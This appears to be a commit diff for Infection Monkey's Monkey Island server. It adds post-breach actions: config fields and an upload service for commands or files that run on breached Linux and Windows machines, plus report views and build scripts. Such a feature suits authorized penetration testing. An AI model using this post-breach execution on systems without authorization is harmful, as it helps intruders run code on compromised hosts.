def get_flat_config(is_initial_config=False, should_decrypt=True): def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt) config_json = ConfigService.get_config(is_initial_config, should_decrypt)
@ -138,6 +145,8 @@ class ConfigService:
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
if should_encrypt: if should_encrypt:
try: try:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
@ -173,6 +182,7 @@ class ConfigService:
@staticmethod @staticmethod
def reset_config(): def reset_config():
monkey_island.cc.services.post_breach_files.remove_PBA_files()
config = ConfigService.get_default_config(True) config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False) ConfigService.update_config(config, should_encrypt=False)

View File

@ -313,6 +313,46 @@ SCHEMA = {
"title": "Behaviour", "title": "Behaviour",
"type": "object", "type": "object",
"properties": { "properties": {
"custom_PBA_linux_cmd": {
"title": "Linux post breach command",
"type": "string",
"default": "",
"description": "Linux command to be executed after breaching."
},
"PBA_linux_file": {
"title": "Linux post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Linux post breach command' field. "
"Reference your file by filename."
},
"custom_PBA_windows_cmd": {
"title": "Windows post breach command",
"type": "string",
"default": "",
"description": "Windows command to be executed after breaching."
},
"PBA_windows_file": {
"title": "Windows post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Windows post breach command' field. "
"Reference your file by filename."
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
"default": ""
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
"default": ""
},
"self_delete_in_cleanup": { "self_delete_in_cleanup": {
"title": "Self delete on cleanup", "title": "Self delete on cleanup",
"type": "boolean", "type": "boolean",
@ -423,7 +463,19 @@ SCHEMA = {
"type": "integer", "type": "integer",
"default": 60, "default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)" "description": "Time to keep tunnel open before going down after last exploit (in seconds)"
} },
"monkey_dir_windows": {
"title": "Monkey's windows directory",
"type": "string",
"default": r"C:\Windows\temp\monkey_dir",
"description": "Directory containing all monkey files on windows"
},
"monkey_dir_linux": {
"title": "Monkey's linux directory",
"type": "string",
"default": "/tmp/monkey_dir",
"description": "Directory containing all monkey files on linux"
},
} }
}, },
"classes": { "classes": {

View File

@ -1,7 +1,7 @@
from bson import ObjectId from bson import ObjectId
from cc.database import mongo from monkey_island.cc.database import mongo
import cc.services.node import monkey_island.cc.services.node
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -87,7 +87,7 @@ class EdgeService:
@staticmethod @staticmethod
def get_infected_monkey_island_pseudo_edges(): def get_infected_monkey_island_pseudo_edges():
monkey = cc.services.node.NodeService.get_monkey_island_monkey() monkey = monkey_island.cc.services.node.NodeService.get_monkey_island_monkey()
existing_ids = [x["from"] for x in mongo.db.edge.find({"to": monkey["_id"]})] existing_ids = [x["from"] for x in mongo.db.edge.find({"to": monkey["_id"]})]
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) monkey_ids = [x["_id"] for x in mongo.db.monkey.find({})
if ("tunnel" not in x) and (x["_id"] not in existing_ids) and (x["_id"] != monkey["_id"])] if ("tunnel" not in x) and (x["_id"] not in existing_ids) and (x["_id"] != monkey["_id"])]
@ -136,11 +136,11 @@ class EdgeService:
{"_id": edge["_id"]}, {"_id": edge["_id"]},
{"$set": {"exploited": True}} {"$set": {"exploited": True}}
) )
cc.services.node.NodeService.set_node_exploited(edge["to"]) monkey_island.cc.services.node.NodeService.set_node_exploited(edge["to"])
@staticmethod @staticmethod
def get_edge_label(edge): def get_edge_label(edge):
NodeService = cc.services.node.NodeService NodeService = monkey_island.cc.services.node.NodeService
from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])) from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
if edge["to"] == ObjectId("000000000000000000000000"): if edge["to"] == ObjectId("000000000000000000000000"):
to_label = 'MonkeyIsland' to_label = 'MonkeyIsland'

View File

@ -1,7 +1,7 @@
from datetime import datetime from datetime import datetime
import cc.services.node import monkey_island.cc.services.node
from cc.database import mongo, database from monkey_island.cc.database import mongo, database
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -15,8 +15,8 @@ class LogService:
log = mongo.db.log.find_one({'monkey_id': monkey_id}) log = mongo.db.log.find_one({'monkey_id': monkey_id})
if log: if log:
log_file = database.gridfs.get(log['file_id']) log_file = database.gridfs.get(log['file_id'])
monkey_label = cc.services.node.NodeService.get_monkey_label( monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label(
cc.services.node.NodeService.get_monkey_by_id(log['monkey_id'])) monkey_island.cc.services.node.NodeService.get_monkey_by_id(log['monkey_id']))
return \ return \
{ {
'monkey_label': monkey_label, 'monkey_label': monkey_label,

View File

@ -2,10 +2,10 @@ from datetime import datetime, timedelta
from bson import ObjectId from bson import ObjectId
import cc.services.log import monkey_island.cc.services.log
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
from cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
import socket import socket
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -59,7 +59,7 @@ class NodeService:
else: else:
new_node["services"] = [] new_node["services"] = []
new_node['has_log'] = cc.services.log.LogService.log_exists(ObjectId(node_id)) new_node['has_log'] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id))
return new_node return new_node
@staticmethod @staticmethod
@ -142,7 +142,8 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey), "group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey), "os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"], "dead": monkey["dead"],
"domain_name": "" "domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
} }
@staticmethod @staticmethod

View File

@ -0,0 +1,43 @@
import monkey_island.cc.services.config
import logging
import os
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
UPLOADS_DIR = 'monkey_island/cc/userUploads'
def remove_PBA_files():
if monkey_island.cc.services.config.ConfigService.get_config():
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
if linux_filename:
remove_file(linux_filename)
if windows_filename:
remove_file(windows_filename)
def remove_file(file_name):
file_path = os.path.join(UPLOADS_DIR, file_name)
try:
if os.path.exists(file_path):
os.remove(file_path)
except OSError as e:
logger.error("Can't remove previously uploaded post breach files: %s" % e)
def set_config_PBA_files(config_json):
"""
Sets PBA file info in config_json to current config's PBA file info values.
:param config_json: config_json that will be modified
"""
if monkey_island.cc.services.config.ConfigService.get_config():
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename

View File

@ -1,10 +1,10 @@
from itertools import product from itertools import product
from cc.database import mongo from monkey_island.cc.database import mongo
from bson import ObjectId from bson import ObjectId
from cc.services.groups_and_users_consts import USERTYPE from monkey_island.cc.services.groups_and_users_consts import USERTYPE
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'

View File

@ -1,4 +1,4 @@
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner from common.cmd.aws.aws_cmd_runner import AwsCmdRunner

View File

@ -9,12 +9,12 @@ from enum import Enum
from six import text_type from six import text_type
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.report_exporter_manager import ReportExporterManager
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from cc.utils import local_ip_addresses, get_subnets from monkey_island.cc.utils import local_ip_addresses, get_subnets
from pth_report import PTHReportService from pth_report import PTHReportService
from common.network.network_range import NetworkRange from common.network.network_range import NetworkRange
@ -132,7 +132,8 @@ class ReportService:
(NodeService.get_displayed_node_by_id(edge['from'], True) (NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'], 'services': node['services'],
'domain_name': node['domain_name'] 'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
}) })
logger.info('Scanned nodes generated for reporting') logger.info('Scanned nodes generated for reporting')

View File

@ -1,5 +1,5 @@
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE from monkey_island.cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'

File diff suppressed because it is too large Load Diff

View File

@ -68,6 +68,7 @@
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4", "js-file-download": "^0.4.4",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
@ -83,6 +84,7 @@
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^16.5.2", "react-dom": "^16.5.2",
"react-fa": "^5.0.0", "react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2", "react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0", "react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.5", "react-jsonschema-form": "^1.0.5",

View File

@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
super(props); super(props);
this.auth = new AuthService(); this.auth = new AuthService();
this.authFetch = this.auth.authFetch; this.authFetch = this.auth.authFetch;
this.jwtHeader = this.auth.jwtHeader();
} }
} }

View File

@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.state = { this.state = {
removePBAfiles: false,
completedSteps: { completedSteps: {
run_server: true, run_server: true,
run_monkey: false, run_monkey: false,
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
}; };
} }
// Sets the property that indicates if we need to remove PBA files from state or not
setRemovePBAfiles = (rmFiles) => {
this.setState({removePBAfiles: rmFiles});
};
componentDidMount() { componentDidMount() {
this.updateStatus(); this.updateStatus();
this.interval = setInterval(this.updateStatus, 5000); this.interval = setInterval(this.updateStatus, 5000);

View File

@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap'; import {Col, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download'; import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
class ConfigurePageComponent extends AuthComponent { class ConfigurePageComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic'; this.currentSection = 'basic';
this.currentFormData = {}; this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
// set schema from server // set schema from server
this.state = { this.state = {
schema: {}, schema: {},
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
lastAction: 'none', lastAction: 'none',
sections: [], sections: [],
selectedSection: 'basic', selectedSection: 'basic',
allMonkeysAreDead: true allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
}; };
} }
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
}; };
resetConfig = () => { resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island', this.authFetch('/api/configuration/island',
{ {
method: 'POST', method: 'POST',
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
removePBAfiles(){
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => { onReadFile = (event) => {
try { try {
this.setState({ this.setState({
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getWinPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAwinFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAwindowsPond = ref}
/>)
};
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getLinuxPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAlinuxPond = ref}
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
let pbaFile = [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
let pbaFile = [{
source: mockFile.name,
options: {
type: 'limbo'
}
}];
pbaFile[0].options.file = mockFile;
return pbaFile
}
render() { render() {
let displayedSchema = {}; let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) { if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions']; displayedSchema['definitions'] = this.state.schema['definitions'];
} }
return ( return (
<Col xs={12} lg={8}> <Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1> <h1 className="page-title">Monkey Configuration</h1>
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
} }
{ this.state.selectedSection ? { this.state.selectedSection ?
<Form schema={displayedSchema} <Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]} formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit} onSubmit={this.onSubmit}
onChange={this.onChange}> onChange={this.onChange}
noValidate={true}>
<div> <div>
{ this.state.allMonkeysAreDead ? { this.state.allMonkeysAreDead ?
'' : '' :
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
</div> </div>
: ''} : ''}
</div> </div>
</Col> </Col>
); );
} }

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Button, Col} from 'react-bootstrap'; import {Button, Col} from 'react-bootstrap';
import BreachedServers from 'components/report-components/BreachedServers'; import BreachedServers from 'components/report-components/BreachedServers';
import ScannedServers from 'components/report-components/ScannedServers'; import ScannedServers from 'components/report-components/ScannedServers';
import PostBreach from 'components/report-components/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords'; import StolenPasswords from 'components/report-components/StolenPasswords';
@ -459,6 +460,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/> <BreachedServers data={this.state.report.glance.exploited}/>
</div> </div>
<div style={{marginBottom: '20px'}}>
<PostBreach data={this.state.report.glance.scanned}/>
</div>
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>

View File

@ -0,0 +1,82 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>;
};
let renderIpAddresses = function (val) {
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
};
let renderMachine = function (data) {
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
};
let renderPbaResults = function (results) {
let pbaClass = "";
if (results[1]){
pbaClass="pba-success"
} else {
pbaClass="pba-danger"
}
return <div className={pbaClass}> {results[0]} </div>
};
const subColumns = [
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return <ReactTable
data={data}
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
style={{"background-color": "#ededed"}}
/>
};
const columns = [
{
Header: 'Post breach actions',
columns: [
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
]
}
];
const pageSize = 10;
class PostBreachComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let pbaMachines = this.props.data.filter(function(value, index, arr){
return ( value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={pbaMachines}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
SubComponent={row => {
return renderDetails(row.original.pba_results);
}}
/>
</div>
);
}
}
export default PostBreachComponent;

View File

@ -15,6 +15,12 @@ export default class AuthService {
return this._authFetch(url, options); return this._authFetch(url, options);
}; };
jwtHeader = () => {
if (this._loggedIn()) {
return 'JWT ' + this._getToken();
}
};
hashSha3(text) { hashSha3(text) {
let hash = new SHA3(512); let hash = new SHA3(512);
hash.update(text); hash.update(text);

View File

@ -163,6 +163,18 @@ body {
* Configuration Page * Configuration Page
*/ */
.linux-pba-file-info, .windows-pba-file-info {
display: none
}
.filepond--root li {
overflow: visible;
}
.filepond--root * {
font-size: 1.04em;
}
.rjsf .form-group .form-group { .rjsf .form-group .form-group {
margin-left: 2em; margin-left: 2em;
} }
@ -412,6 +424,14 @@ body {
top: 30%; top: 30%;
} }
.pba-danger {
background-color: #ffc7af;
}
.pba-success {
background-color: #afd2a2;
}
/* Print report styling */ /* Print report styling */
@media print { @media print {

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

View File

@ -0,0 +1,93 @@
# -*- mode: python -*-
import os
import platform
__author__ = 'itay.mizeretz'
block_cipher = None
def main():
a = Analysis(['cc/main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
runtime_hooks=None,
binaries=None,
datas=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher
)
a.binaries += get_binaries()
a.datas = process_datas(a.datas)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name=get_monkey_filename(),
debug=False,
strip=get_exe_strip(),
upx=True,
console=True,
icon=get_exe_icon())
def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return platform.architecture()[0] == "32bit"
def process_datas(orig_datas):
datas = orig_datas
if is_windows():
datas = [i for i in datas if i[0].find('Include') < 0]
return datas
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
return binaries
def get_hidden_imports():
return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend']
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_monkey_filename():
return 'monkey_island.exe' if is_windows() else 'monkey_island'
def get_exe_strip():
return not is_windows()
def get_exe_icon():
return 'monkey_island.ico' if is_windows() else None
main() # We don't check if __main__ because this isn't the main script.

View File

@ -1,5 +1,5 @@
python-dateutil python-dateutil
tornado tornado==5.1.1
werkzeug werkzeug
jinja2 jinja2
markupsafe markupsafe
@ -9,10 +9,13 @@ flask
Flask-Pymongo Flask-Pymongo
Flask-Restful Flask-Restful
Flask-JWT Flask-JWT
jsonschema jsonschema==2.6.0
netifaces netifaces
ipaddress ipaddress
enum34 enum34
pycryptodome pycryptodome
boto3 boto3
awscli awscli
bson
cffi
PyInstaller

View File

@ -0,0 +1,5 @@
REM - Builds Monkey Island Server EXE using pyinstaller -
bin\Python27\Scripts\pyinstaller.exe -F --log-level=DEBUG --clean --upx-dir=.\bin monkey_island.spec
move /Y dist\monkey_island.exe monkey_island.exe
rmdir /S /Q build
rmdir /S /Q dist

View File

@ -1,3 +1,4 @@
REM - Runs Monkey Island Server using python -
@title C^&C Server @title C^&C Server
@pushd .. @pushd ..
@monkey_island\bin\Python27\Scripts\python monkey_island.py @monkey_island\bin\Python27\Scripts\python monkey_island.py

View File

@ -0,0 +1,5 @@
REM - Runs Monkey Island Server using built pyinstaller EXE -
@title C^&C Server
@pushd ..
@monkey_island\monkey_island.exe
@popd

View File

@ -1,2 +1,3 @@
REM - Runs MongoDB Server -
@title MongoDB @title MongoDB
@bin\mongodb\mongod.exe --dbpath db @bin\mongodb\mongod.exe --dbpath db

View File

@ -1,4 +1,5 @@
REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE -
if not exist db mkdir db if not exist db mkdir db
start windows\run_mongodb.bat start windows\run_mongodb.bat
start windows\run_cc.bat start windows\run_cc_exe.bat
start https://localhost:5000 start https://localhost:5000

View File

@ -0,0 +1,5 @@
REM - Runs MongoDB Server & Monkey Island Server using python -
if not exist db mkdir db
start windows\run_mongodb.bat
start windows\run_cc.bat
start https://localhost:5000